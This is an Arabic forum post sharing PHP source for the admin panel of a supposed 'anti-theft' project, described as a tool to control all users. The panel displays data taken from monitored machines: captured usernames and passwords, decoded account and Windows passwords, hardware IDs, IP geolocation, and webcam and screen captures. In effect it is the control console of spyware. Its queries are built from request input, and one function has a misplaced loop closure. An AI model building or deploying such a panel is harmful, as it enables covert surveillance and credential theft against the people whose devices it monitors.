مشروع تجاري مضاد سرقة الجهاز افكار وسورس
#42
للتحكم بكل المستخدمين

[صورة: ezfy.jpg]

PHP كود :
<?php 
function _locationsT($pagecount)
{
require_once(
'../class/pagenavigation.class.php');
$item_count = _totalipT();
        
$nav = new PageNavigation($item_count, $pagecount);
        
$item_number = $nav->first_item_id;    
        
$nav->url = '?locations&%p';
echo 
'<h1>Locations list</h1> <form name="tsk" method="POST" action="?loct"><table width="100%" >
          <th> <input type="checkbox" name="check_allTask" onClick="checkAllTask();"  /> </th>
          <th>ip</th>
          <th>city</th>
          <th>region</th>
          <th>area</th>
          <th>dma</th>
          <th>country</th>
          <th>Code</th>
          <th>longitude</th>
          <th>latitude</th>
          <th>currency</th>
          <th>Symbol</th>
          <th>Converter</th>
          <th>#</th>
        '
;
$data = mysql_query("select * from ip_logs limit ". $nav->sql_limit);
while(
$val = mysql_fetch_assoc($data)){
echo   
'<tr>
       <td> <input type="checkbox" name="task[]" value="'
.$val['id'].'" /></td>
            <td>'
.$val['ip'].'</td>
            <td>'
.$val['city'].'</td>
            <td>'
.$val['region'].'</td>
            <td>'
.$val['areaCode'].'</td>
            <td>'
.$val['dmaCode'].'</td>
            <td>'
.$val['countryName'].'</td>
            <td>'
.$val['countryCode'].'</td>
            <td>'
.$val['longitude'].'</td>
            <td>'
.$val['latitude'].'</td>
            <td>'
.$val['currencyCode'].'</td>
            <td>'
.$val['currencySymbol'].'</td>
            <td>'
.$val['currencyConverter'].'</td>
            <td><a href="?loc='
.$val['id'].'"> <img src="images/remove.png">  </a></td>
          
   </tr>'
;
}
echo 
'</table><input type="submit" value="Delete"'; ?> onclick="if (!confirmation('delete','task[]')) return false;" <?php
echo ' class="rigthbtn" style="font-size: 11px;background-image: linear-gradient(#ffffff, #eee);" ></form>';
echo 
'<br><table  width="100% "><tr><td style="text-align:right ; padding-right:5px;background-image: linear-gradient(#ffffff, #eee);">'.$nav->createPageBar().'</td></tr></table><br>';
include 
"map.php";
}
function 
_internetsT($pagecount)
{
require_once(
'../class/pagenavigation.class.php');
$item_count = _totalinternetT();
        
$nav = new PageNavigation($item_count, $pagecount);
        
$item_number = $nav->first_item_id;    
        
$nav->url = '?internet&%p';
echo 
'<h1>Internet list</h1> <form name="myint" method="POST" action="?internet"><table width="100%" >
          <th> <input type="checkbox" name="check_allInt" onClick="checkAllint();"  /> </th>
          <th class="td2">Type</th>
          <th class="td2">EntryName</th>
          <th class="td2">Username</th>
          <th class="td2">Password</th>
          <th>#</th>
        '
;
$data = mysql_query("select * from internet_logs  limit ". $nav->sql_limit);
while(
$val = mysql_fetch_assoc($data)){
echo   
'<tr>
       <td> <input type="checkbox" name="intr[]" value="'
.$val['id'].'" /></td>
            <td class="td2"><em>'
.$val['type'].'</em></td>
            <td class="td2"><em>'
.$val['name'].'</em></td>
            <td class="td2">'
.$val['username'].'</td>
            <td class="td2">'
.$val['password'].'</td>
            <td><a href="?logint='
.$val['id'].'"> <img src="images/remove.png">  </a></td>      
   </tr>'
;
}
echo 
'</table><input type="submit" value="Delete"'; ?> onclick="if (!confirmation('delete','intr[]')) return false;" <?php
echo ' class="rigthbtn" style="font-size: 11px;background-image: linear-gradient(#ffffff, #eee);" ></form>';
echo 
'<br><table  width="100% "><tr><td style="text-align:right ; padding-right:5px;background-image: linear-gradient(#ffffff, #eee);">'.$nav->createPageBar().'</td></tr></table><br>';

}
function 
allUsers($pagecount)
{
require_once(
'../class/pagenavigation.class.php');
$item_count = _totalusersT();
        
$nav = new PageNavigation($item_count, $pagecount);
        
$item_number = $nav->first_item_id;    
        
$nav->url = '?getusers&%p';
echo 
'<h1>Users list</h1> <form name="myusers" method="POST" action="?users"><table width="100%" >
          <th> <input type="checkbox" name="check_allUSR" onClick="checkAllusrs();"  /> </th>
          <th class="td2">Username</th>
          <th class="td2">Password</th>
          <th class="td2">Email</th>
          <th class="td2">Status</th>
          <th class="td2">WinPassword</th>
          <th class="td2">Interval</th>
          <th class="td2">last access time</th>
          <th class="td2">Date</th>
          <th class="td2">HWID</th>
          <th>#</th>
        '
;
$data = mysql_query("select * from users  limit ". $nav->sql_limit);
while(
$val = mysql_fetch_assoc($data)){
echo   
'<tr>
       <td> <input type="checkbox" name="users[]" value="'
.$val['id'].'" /></td>
            <td class="td2">'
.$val['username'].'</td>
            <td class="td2">'
.base64_decode($val['password']).'</td>
            <td class="td2">'
.$val['email'].'</td>
            <td class="td2">'
.inttocmnd($val['status']).'</td>
            <td class="td2">'
.$val['password_enc'].'</td>
            <td class="td2">'
.$val['intrval'].'</td>
            <td class="td2"><b>'
.SecToTime(_intrval($val['date'])).'</b></td>
            <td class="td2">'
.$val['date'].'</td>
            <td class="td2">'
.$val['hdd'].'</td>
            <td><a href="?logusrs='
.$val['id'].'"> <img src="images/remove.png">  </a></td>      
   </tr>'
;
echo 
'</table><input type="submit" value="Delete"'; ?> onclick="if (!confirmation('delete','users[]')) return false;" <?php
echo ' class="rigthbtn" style="font-size: 11px;background-image: linear-gradient(#ffffff, #eee);" ></form>';
echo 
'<br><table  width="100% "><tr><td style="text-align:right ; padding-right:5px;background-image: linear-gradient(#ffffff, #eee);">'.$nav->createPageBar().'</td></tr></table><br>';

}
//--------------------------------------------------
function _tableT($pagecount)
{
require_once(
'../class/pagenavigation.class.php');
$item_count = _TotalT();
        
$nav = new PageNavigation($item_count, $pagecount);
        
$item_number = $nav->first_item_id;    
          
echo 
'<h1>Activity List</h1>
<form name="frm" method="POST" action="?act">
          <table width="100%" >
          <th> <input type="checkbox" name="check_all" onClick="checkAll();"/></th>
          <th class="td2">Picture</th>
        <th style="width:90%" class="td2" >Information</th>'
;

if (isset(
$_GET['fdate'])){
$searchfor='1';
if (isset(
$_GET['searchfor'])) $searchfor=$_GET['searchfor']; if ($searchfor=='1')
$data = mysql_query("select u.*, i.*, p.*  from users u,ip_logs i,pic_logs p  where p.random_pic = i.random_ip AND u.id = i.id_user AND p.date LIKE '%".minisafe($_GET['fdate'])."%' AND u.id = p.id_user  GROUP BY p.id");
else 
$data = mysql_query("select u.*, i.*, p.*  from users u,ip_logs i,pic_logs p  where p.random_pic = i.random_ip AND u.id = i.id_user AND p.id_user LIKE '%".minisafe(_MyUser($_GET['fdate']))."%' AND u.id = p.id_user  GROUP BY p.id");
}
else
$data = mysql_query("select u.*, i.*, p.*  from users u,ip_logs i,pic_logs p  where p.random_pic = i.random_ip AND u.id = i.id_user AND u.id = p.id_user  GROUP BY p.id limit " . $nav->sql_limit);
if (isset(
$_GET['monitor']))
$data = mysql_query("select u.*, i.*, p.*  from users u,ip_logs i,pic_logs p  where p.random_pic = i.random_ip AND u.id = i.id_user AND u.id = p.id_user  AND p.type= 'desc' GROUP BY p.id");
if (isset(
$_GET['webcam']))
$data = mysql_query("select u.*, i.*, p.*  from users u,ip_logs i,pic_logs p  where p.random_pic = i.random_ip AND u.id = i.id_user AND u.id = p.id_user  AND p.type= 'cam' GROUP BY p.id");//limit " . $nav->sql_limit
while($val = mysql_fetch_assoc($data) ){
echo 
'<tr>
<td><input type="checkbox" name="slct[]" value="'
.$val['id'].'" /></td>
<td>'
;
if (
file_exists("../pics/".$val['name'])) {
echo 
'<a class="fancybox" rel="group" title="'.$val['date'].' | Source : '.imgtype($val['type']).'" href= "../pics/'.$val['name'].'" ><img class="img" src="../pics/'.$val['name'].'" height="90" width="144"  contenteditable="false" /></a>';}
else
echo 
'<img id="img" src="../loading/notfound.png"   contenteditable="false" />';
//echo '<figcaption contenteditable="false">'.$val['date'].'</figcaption>
echo '</td>
<td class="td2">
<strong>Type : </strong><span id="y">'
.imagetype($val['type']).'</span><br>
<strong>Username : </strong>'
.$val['username'].'<br>
<strong>IP : </strong>'
.$val['ip'].'<br>
<strong>Country Name : </strong><span id="x">'
.$val['countryName'].'</span> / <strong>Region : </strong>'.$val['region'].'<br>
<strong>Last Acces : </strong>'
._intrval($val['date']).' sec / <strong>Date : </strong>'.$val['date'].'<br>
<strong>Delete : </strong><a href="?id='
.$val['id'].'"> <img src="images/remove2.png"> </a></td> </tr>';
} 
echo 
'</table><input type="submit" value="Delete"'; ?>  onclick="if (!confirmation('delete','slct[]')) return false;" <?php
echo ' class="rigthbtn" style="font-size: 11px;background-image: linear-gradient(#ffffff, #eee);" ></form>';
if ((!isset(
$_GET['webcam'])) and (!isset($_GET['monitor'])) and (!isset($_GET['date'])))
  echo 
'<br><table  width="100% "><tr><td  style="text-align:right ; padding-right:5px;background-image: linear-gradient(#ffffff, #eee);">'.$nav->createPageBar().'</td></tr></table>';
  else
  echo 
'<br><table  width="100% "><tr><td  style="text-align:right ; padding-right:5px;background-image: linear-gradient(#ffffff, #eee);">Pages: <b>1</b> </td></tr></table>';
}
 
?>
الرد


الردود في هذا الموضوع
مشروع تجاري مضاد سرقة الجهاز افكار وسورس - بواسطة onexite - 15-03-2014, 05:41 PM

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم